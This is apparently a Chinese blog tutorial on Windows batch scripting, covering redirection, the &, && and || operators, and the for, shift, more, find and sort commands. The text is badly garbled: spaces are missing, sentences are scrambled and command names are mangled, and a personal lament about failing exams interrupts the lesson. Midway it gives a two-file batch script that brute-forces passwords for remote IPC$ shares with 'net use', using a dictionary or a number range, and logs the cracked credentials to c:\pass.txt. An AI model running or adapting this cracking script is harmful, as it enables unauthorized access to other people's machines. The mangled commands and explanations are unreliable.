echoThiisapipelincommandexample.

echoItisverieasy?

echoBelievyourself!

得到多少信息? 看到这里。

而不需要专门的文本编辑工具;1可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本。

最后也会生成一个a.bat但里面的内容就只剩下最后一行exit所以>和>>一般都联合起来用,2管道命令>和>>区别如上所述。如果这里只用>命令来完成上面操作。除非你重定向的输出只有一行,那么就可以只用>结合例一再仔细体会输出重定向管道命令>和>>用法。

13<>&<&

但它一般不常用, 这三个命令也是管道命令。只需要知道一下就ok当然如果想仔细研究的话,可以自己查一下资料。

从文件中读入命令输入,<输入重定向命令。而不是从键盘中读入。

>&将一个句柄的输出写入到另一个句柄的输入中。

从一个句柄读取输入并将其写入到另一个句柄输出中。<&刚好和>&相反。

后面批处理脚本的精妙应用中还将涉及到 关于这三个管道命令的举例。

下面介绍组合命令:&&&||

顾名思义, 组合命令。就是可以把多个命令组合起来当一个命令来执行。这在批处置脚本里是允许的而且用的非常广泛。格式很简单----既然现在已经成了一个文件了那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处置认行不认命令数目。组合命令的作用,就如同给爱人陪不是说一句是说,说十句也是说,不一次把好话都说了进去,效果可能会好些----当然得排除一种特殊情况:这些话是否有先后顺序,有些话是否可以同时说。批处置脚本里也一样,有些时候某些命令是不能同时执行的后面给你说。

人去楼空的感觉越来越明显, 刚刚又送走了一个同学。望着空荡荡的床铺,平日里喧闹的宿舍就只剩下我一个人了整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我这不敢开灯的漆黑夜里----一个连期末考试都应付不了失败男人。失败!感到快要呼吸不过来,这种失败的压力简直令我窒息,简直让我手接收不到大脑的信号,简直让这篇未完成的教程夭折。但我能怪谁?

失败;挂了科也倒罢了竟然一个人拖全班的后退, 忙碌了一学期要过年了却挂了科。失败中的失败;更失败的这最失落的时候,竟然找不到一个人可以倾诉;然而最失败的突然发现自己竟然如此脆弱,如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题:为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春,风一样的年龄,火一样不安的心。不再爱了不要再一个人的时候苦苦等待;不再爱了不要在给的囚笼里怜悯的爱;不再爱了不要在他人的视线里如此可笑;不再爱,不再爱。就算塌下来,也要一个人扛着,头不能低腰不能弯,不能喘息不能倾诉,因为虽然失败,但还是男人,男人就不能向困难低头!

14&

并把这些命令按顺序执行, 这可以说是最简单的一个组合命令了作用是用来连接n个DOS命令。而不管是否有命令执行失败。例十六:

copia.txtb.txt/y&dela.txt

就不多费口舌了唯一需要注意的一点是这里&两边的命令是有执行顺序的过去往后执行。 其实这句和movea.txtb.txt效果是一样的只不过前者是分了两步来进行的后面还将涉及到具体使用哪种方法的问题)这个命令很简单。

15&&

这里介绍的几个命令都是组合命令, 切记。所以他前后都必需都有其他命令(要不如何组合?这个命令也不例外,可以把它前后两个命令组合起来当一个命令来用,与&命令不同之处在于,过去往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下的命令。这就为我自动化完成一些任务提供了方便。例十七:

dir文件://1%/www/user.mdb&&copi文件://1%/www/user.mdbe:\backup\www

如果远程主机存在user.mdb则copi外地e:\backup\www如果不存在当然就不执行copi这句对搞网管的朋友是否有点用呢?呵呵。

其实它和下面这句的作用是一样的

ifexist文件://1%/www/user.mdbcopi文件://1%/www/user.mdbe:\backup\www

所以不知道用哪个更好, 至于你喜欢用哪个就随便了没办法判断dir和if两个命令哪一个执行效率更高。呵呵。

不信就给你出道题:把C盘和D盘的文件和文件夹列出到a.txt文件中。将如何来搞定这道题?有朋友说, 否还记得"有些命令是不能同时执行的"否相信这句话?当然得相信。这还不是很easi问题吗?同时执行两个dir然后把得到结果>a.txt里就ok嘛,看例十八:

dirc:\&&dird:\>a.txt

看看是否能达到题目的要求!错了这样执行后a.txt里只有D盘的信息!为什么?就因为这里&&命令和>命令不能同时出现一个句子里(批处置把一行看成一个句子)组合命令&&优先级没有管道命令>优先级高(自己总结的不妥的地方请指正)所以这句在执行时将本分成这两部分:dirc:\和dird:\>a.txt而并不是如你想的这两部分:dirc:\&&dird:\和>a.txt要使用组合命令&&达到题目的要求, 仔细研究一下这句执行后的结果。必需得这么写:

dirc:\>a.txt&&dird:\>>a.txt

依据优先级高低, 这样。DOS将把这句话分成以下两部分:dirc:\>a.txt和dird:\>>a.txt例十八中的几句的差别比较特殊,值得好好研究体会一下。

当然这里还可以利用&命令(自己想一下道理哦)

dirc:\>a.txt&dird:\>>a.txt

16||

但作用刚好和它相反:利用这种方法在执行多条命令时, 这个命令的用法和&&几乎一样。当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:检查当前目录下是否有以s开头的ex文件,如果有则退出。例十九:

dirs*.ex||exit

自己试试就知道了嘛:如果存在那个ex文件, 其实这个例子是有破绽的看出来了吗?其实很简单。就退出;如果不存在那个ex文件,也退出!为什么?因为如果不存在那个.ex文件,则前一条命令dirs*.ex执行肯定是不成功的所以就继续执行exit自然就退出了呵呵。那么如何解决题目给出的问题呢?看例二十:

dirs*.ex||echoDidn'texistfiles*.ex&paus&exit

就能达到题目的要求, 这样执行的结果。否存在s*.ex将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了

仔细研究它区别, 给出两个更好研究优先级(同时也是更难理解)脚本。以便完全理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错!OK请看例二十一和例二十二:

例二十一:

dira.ttt/a&dira.txt||exit

例二十二:

dira.ttt/a&&dira.txt||exit

否则轻者头大如斗, 警告:患有心脑血管病的朋友请不要研究以上两例。重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责,与自己和本论坛无关。特此警告!

能理解就成天才了除非你以前就已经掌握!千万别小看了这几个鬼命令, 有关管道命令和组合命令就大概介绍到这里了不知道聪明的否理解?呵呵。大棒槌是说,简直就不是人学的东西!但我还是静下心来研究了一番,最后得出的结论如上所述,已经一点不剩的交给你希望你好好收藏并消化吸收,当然有错误被你发现了或者不完整的地方被你看出来了请赶紧告诉我一声!

但看起来很不过瘾。对for等命令介绍时就一个for/?>a.txt&starta.txt完事了当然这一点上我不能说人家什么, 这几个命令真的把我头都搞大了网上有一篇流传很广的批处理教程:"简明批处理教程"虽然说的比较全面。终究我连for/?都没给出)而对上述管道命令和组合命令、以及这篇教程以后将讲到用批处置操作注册表等方面根本没有介绍。之所以花整整一章来讲管道命令和组合命令,因为他才是批处理的精华和灵魂,能否正确利用好这几个命令,能否掌握批处理的前提条件。如forset等DOS命令的问题,可以从DOS角度动身专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----之间的关系太复杂了

将下列代码存为bat文件

1如果用字典破解:pass.bat字典文件路径及名称 主机 用户名

2如果用数字破解:pass.bat起始数 步长 结束数 主机 用户名

存放于c:\pass.txt文件里面。 密码破解进去之后。

将下列代码存为pass.bat文件

echo------------------------------------------------------------------->>c:\pass.txt

dat/t>>c:\pass.txt

tim/t>>c:\pass.txt

echo破解结果:>>c:\pass.txt

if"%6"=="1"goto大棒槌是说2

:大棒槌是说1

start"正在破解"/mincmd/cfor/f%%iin%1docalltest.bat%2"%%i"%3

gotoquit

:大棒槌是说2

%2,start"正在破解"/mincmd/cfor/l%%iin%1.%3docalltest.bat%4"%%i"%5

:quit

将下列代码存为test.bat

netus\\%1\ipc$%2/user:"%3"

gotoanswer%ERRORLEVEL%

netus胜利返回0失败返回rem%ERRORLEVEL%表示取前一命令执行返回结果。2

:answer0

echo远程主机:"%1">>c:\pass.txt

echo用 户:"%3">>c:\pass.txt

echo密 码:%2>>c:\pass.txt

netus\\%1\ipc$/delet

:answer2

For

对一组文件中的每个文件运行指定的命令。

可以在批处置顺序中或直接从命令提示符使用 for命令。

请使用以下语法: 要在批处置顺序中使用 for命令。

for%%variablinsetdocommand[command-parameters]

要在命令提示符下使用 for请使用以下语法:

for%variablinsetdocommand[command-parameters]

参数

%%variabl或 %variable

代表可替换的参数。for命令使用在set中指定的每个文本字符串替换 %%variabl或 %variabl直到此命令(commandparamet中指定)处置所有的文件为止。使用 %%variabl批处置顺序中执行 for命令。使用 %variabl通过命令提示符执行 for命令。变量名区分大小写。

set

指定要用指定的命令处置的一个或多个文件或文本字符串。需要括号。

command

指定要在指定的set所包含的每个文件上执行的命令。

command-parameters

指定要用于指定命令(如果指定的命令要使用任何参数或开关)任何参数或开关。

如果启用了命令扩展(Window2000中的默认设置)将支持 for命令的其他形式。

For命令的其他形式

将支持如下 for命令的其他格式: 如果启用了命令扩展。

只限于目录

for/D[%%|%]variablinsetdocommand[command-parameters]

而不是文件名。 如果 set包括通配符(*和 ?则指定与目录名匹配。

递归

for/R[[drive:]path][%%|%]variablinsetdocommand[command-parameters]

则假定为当前目录。如果 set只是一个句号 .字符, 进入根目录树[drive:]path树的每个目录中执行 for语句。如果在/R后没有指定目录。则只列举目录树。

迭代

for/L[%%|%]variablinstartstependdocommand[command-parameters]

1, 集合是一系列按步长量划分的从头到尾的数字。这样。1,5将生成序列 12345而 5,-1,1将生成序列 54321

文件解析

for/F["options"][%%|%]variablinfilenamesetdocommand[command-parameters]

for/F["options"][%%|%]variablin"literstring"docommand[command-parameters]

for/F["options"][%%|%]variablin'command'docommand[command-parameters]

如果呈现 usebackq选项:或者。

for/F["options"][%%|%]variablin'literstring'docommand[command-parameters]

for/F["options"][%%|%]variablin`command`docommand[command-parameters]

每个文件都会被打开、读取和处理。filenameset参数指定一个或多个文件名称。继续到filenameset中的下一个文件之前。

/F传送每个文件每一行的第一个空白分隔符号。 过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到一个或多个令牌字符串的变量值(或多个值)集合调用 for循环体。默认情况下。

包括一个或多个关键字以指定不同的解析选项。跳过空行。通过指定可选的"options"参数可以覆盖默认的解析行为。这是一个引用字符串。

关键字是

关键字 说明

eol=c指定行尾注释字符(只一个字符)

skip=n指定在文件的开头跳过的行数。

delims=xxx指定定界符集合。这将替换空格和制表符的默认分隔符集。

指定从 mthnth令牌。如tokens=x,y,m-n指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。m-n格式是一个范围。

则将分配附加的变量,果在令牌 =字符串中最后一个字符是星号。并在解析最后一个令牌后在行上接收剩余的文本。

单引号字符串是文字字符串命令,usebackq指定将右引号字符串作为命令执行。您可以使用双引号包括 filenameset中的文件名。

变量替换

已经增强了for变量引用的替换修改顺序。现在可以使用下列可选的语法(对于任何变量 I此外。

变量(使用修改顺序)说明

%~I展开删除了周围的任何引号 "%I

%~fI将 %I展开到完全合格的路径名

%~dI只将 %I展开到驱动器号

%~pI只将 %I展开到路径

%~nI只将 %I展开到文件名

%~xI只将 %I展开到文件扩展名

%~sI展开路径以只包括短名称

%~aI将 %I展开到文件的文件属性

%~tI将 %I展开到文件的日期/时间

%~zI将 %I展开到文件大小

或搜索后没有找到文件,则此修改顺序将扩展为空字符串。%~$PA TH:I搜索 PA TH环境变量所列出的目录,并将 %I展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名。

修改顺序可以合并以获得复杂的结果:

变量(使用合并的修改顺序)说明

%~dpI只将 %I展开到驱动器号和路径

%~nxI只将 %I展开到文件名和扩展名

%~fsI将 %I展开到只包括短名称的完整路径名

%~dp$PA TH:IPA TH环境变量所列出的目录中搜索 %I并展开到第一个找到结果的驱动器号和路径

%~ftzaI将 %I扩展到与 dir相似的输出行

注意

%I和 PA TH可被其他有效值替换。通过有效的for变量名终止 %~语法。上述范例中。

并且防止与不区分大小写的修改顺序混淆。使用大写变量名(例如 %I可以使代码更具可读性。

Shift

更改批处置文件中可替换参数的位置。

shift

shift命令支持 /n开关,启用命令扩展(Window2000中的默认设置)后。该开关通知命令在第 n个参数处开始更改,n可以是从 08任何一个值。例如,

SHIFT/2

而 %0和 %1坚持不变。将 %3改为 %2将 %4改为 %3等等。

筛选器命令

筛选器命令可以协助您排序、检查和选择局部命令输出结果。

通过筛选器命令传送信息

筛选器命令可以划分、重排以及提取通过的局部信息操作。Window2000有三个筛选器命令:

more命令每次显示一屏文件内容或命令输出。

find命令在文件和命令输出中搜索指定字符。

sort命令按字母顺序排列文件和命令输出。

请使用小于符号 <如果要筛选器命令从其他命令获得输入,要将输入从文件发送到筛选器命令。请使用管道 |

使用 more命令来控制屏幕显示

下面的more命令每次显示一屏 List.txt文件的内容:more命令每次一屏地显示文件的内容或命令输出。例如。

more<list.txt

会出现字"More"要继续显示下一屏,信息显示一屏后。请按键盘上任意键。要停止命令且不检查详细信息,请按 CPL+C键。

more将十分有用。例如,如果使用发生多屏输出的命令。假设定要查看硬盘的目录树。如果 Window2000不能将目录在一屏内全部显示进去,请使用带管道号 |和 more命令的tree命令,如下例所示:

treec:\|more

后跟词"More"Window2000暂停,tre命令的第一屏输出被显示。直到用户按键盘上的任意键为止(PA USE键除外)

使用 find命令搜索文本

find命令在一个或多个文件中搜索指定文本。Window2000显示每个包括该文本的行。find命令可以用作筛选器命令或者规范

请单击"相关主题"列表中的findWindow2000命令。有关将 find用作规范的Window2000命令的信息。

请包括小于符号 <和搜索的文件名。当输入文件名时,要将 find当作筛选器命令使用。请记住搜索要区分大小写。例如,下面的命令查找文件 Trade.txt中所有的"PacifRim"字符串:

find"PacifRim"<trade.txt

请使用大于号 >和要存储输出的文件名。例如,要保存 find命令的输出而不是显示输出。下面的命令查找文件 Trade.txt中所有的

并将结果保存在Nwtrade.txt文件中:"PacifRim"字符串。

find"PacifRim"<trade.txt>nwtrade.txt

对文本文件排序

可以使用以下命令对 List.txt文件的内容进行排序,sort命令按字母顺序排列文本文件或命令的输出。例如。并在屏幕上显示结果:

sort<list.txt

sort命令对 List.txt文件的行进行排序并显示结果,此范例中。但不更改文件。要保存 sort命令的输出而不是显示输出,请在命令中包括大于号 >和文件名。例如,可以使用以下命令对 List.txt文件的行按字母顺序排序,并将结果存到Alphlist.txt文件中:

sort<list.txt>alphlist.txt

请键入后面带有管道 |和 sort命令的命令。例如,要排序命令的输出。下面的命令对 find命令的输出结果进行排序:

find"Jones"maillst.txt|sort

Window2000按字母顺序列出在其中呈现"Jones"行。键入该命令时。

带重定向符的合并命令

可以使用以下命令存储包括"LOG"字符串的文件名可以将筛选器命令、其他命令和文件名合并以生成自定义命令。例如。:

dir/b|find"LOG">loglist.txt

A.logLogdat.svd和 Mylog.batWindow2000通过 find过滤器命令发送 dir命令的输出并将包括字符串"Log"文件名存储在Loglist.txt文件中。将结果存储为文件名列表(如。

请使用管道 |分隔筛选器。例如,要在相同命令中使用多个筛选器。下面的命令搜索 C盘上的每个目录以查找包含"Log"字符串的文件名,并且每次显示一屏:

dirc:\/s/b|find"LOG"|more

因为使用管道 |Window2000通过 find命令发送 dir命令的输出结果。find命令只选择包括字符串"Log"文件名。more命令每次一屏地显示 find命令选择的文件名。

More

或者使用它控制其他命令的输出,每次显示一个输出屏幕。该命令通常用于检查长文件。可以单独使用此命令。例如 type命令。当显示填充可用的检查区域时将出现 more提示,用户可以输入许多命令来控制检查文件其余局部的方式。

commandname|more[/c][/p][/s][/tn][+n]

more[[/c][/p][/s][/tn][+n]]<[drive:][path]filename

mor[/c][/p][/s][/tn][+n][files]

[drive:][path]filename

指定要显示的文件。

commandname

指定将显示其输出的命令。

/c

显示页面前清除屏幕。

/p

扩展换页符。

/s

将多个空白行更改为一个空白行。

/tn

将制表位更改为 n个空格

+n

显示由 n指定的行开始的第一个文件。

files

指定要显示的文件列表。用空格分隔文件名。

More子命令

以下命令在more提示 --More--下接受。

关键字 操作

space显示下一页。

ENTER显示下一行。

F显示下一个文件。

q退出。

?显示可用命令。

=显示行号。

Pn显示以下 n行。

Sn跳过下面 n行。

Find

一个文件或多个文件中搜索指定的文本字符串。

find将显示出包括指定字符串的所有行。当搜索到指定的文件后。

find[/v][/c][/n]"string"[[drive:][path]filename[...]]

/v

显示未包括指定字符串的所有行。

只显示包括指定字符串的行数。

/n

将文件行号置于每行开头。

/I

指定搜索不区分大小写。

"string"

指定要搜索的字符组。必需将 string文本包括在引号中。

指定要在其中搜索指定字符串的文件的位置和名称。

Sort

读取输入、排序数据并将结果写到屏幕、文件和其他设备上。

sort[/r][/+n][/mkilobytes][/llocale][/reccharacters][[drive1:][path1]filename1][/t[drive2:][path2]][/o[drive3:]

[path3]filename3]

[command|]sort[/r][/+n][/mkilobytes][/llocale][/reccharacters][[drive1:][path1]filename1][/t[drive2:]

[path2]][/o[drive3:][path3]filename3]

/r

即从 ZA排序,颠倒排序顺序。然后从 90排序。

/+n

/+3表示每次比拟在每行的第三个字符开始。少于 n个字符的行在其他行之前排序。默认情况下,指定字符位置号 nsort此处开始每次比拟。例如。比拟在每行的第一个字符开始。

/mkilobytes

按千字节 KB计。使用的内存最小值总是160KB如果指定了内存大小,指定用于排序的主内存数量。则无论有多少主内存可用,指定的确切数量(但至少 160KB内存将用于排序。

没有指定大小时,如果输入输出均为文件。默认最大内存大小为可用主内存的90%,否则为主内存的45%。默认设置通常会产生最佳的性能。

/llocale

默认区域设置唯一的备用选项就是"C"区域设置,替代由系统默认区域设置定义的字符排序顺序;即在装置 Window2000时选择的语言和"国家(地区)"目前。该区域设置比自然语言排序快,根据二进制编码对字符排序。

/reccharacters

指定记录或输入文件的行中的最多字符数(默认值为 4096最大值为 65535

[drive1:][path1]filename1

则对规范输入排序。指定输入文件比将同一文件作为规范输入重定向速度快。指定要排序的文件。如果没有指定文件名。

/t[drive2:][path2]

防止数据不能装入主内存。默认为使用系统临时目录。指定保存 sort命令工作存储的目录路径。

/o[drive3:][path3]filename3

转载请注明,本文出自:http://korey.blog.51cto.com/

继续阅读